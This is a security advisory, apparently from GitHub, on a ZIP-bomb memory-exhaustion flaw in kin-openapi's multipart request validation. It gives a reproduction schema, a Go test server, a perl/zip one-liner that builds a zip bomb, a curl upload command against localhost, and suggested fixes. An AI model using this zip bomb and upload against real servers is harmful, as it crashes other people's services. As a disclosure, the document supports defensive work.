When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.
The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.
To reproduce the vulnerability, you can use the following OpenAPI schema:
openapi: 3.0.0
info:
title: 'Validator'
version: 0.0.1
paths:
/:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
required:
- file
properties:
file:
type: string
format: binary
responses:
'200':
description: Created
And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest
function`):
package main
import (
"fmt"
"log"
"net/http"
"github.com/getkin/kin-openapi/openapi3filter"
legacyrouter "github.com/getkin/kin-openapi/routers/legacy"
"github.com/getkin/kin-openapi/openapi3"
)
func handler(w http.ResponseWriter, r *http.Request) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromFile("schema.yaml")
if err != nil {
http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
return
}
if err := doc.Validate(r.Context()); err != nil {
http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
return
}
router, err := legacyrouter.NewRouter(doc)
if err != nil {
http.Error(w, "Failed to create router", http.StatusInternalServerError)
return
}
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, "Failed to find route", http.StatusNotFound)
return
}
input := &openapi3filter.RequestValidationInput{
Request: r,
QueryParams: r.URL.Query(),
Route: route,
PathParams: pathParams,
}
if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
return
}
w.Write([]byte("request ok !"))
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:
perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt
Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v
.
Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)
An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.
I see at least 2 potential fixes/improvements:
- Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
- Update ZipFileBodyDecoder
to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)
{ "nvd_published_at": "2025-03-19T16:15:33Z", "cwe_ids": [ "CWE-409" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-03-19T18:12:53Z" }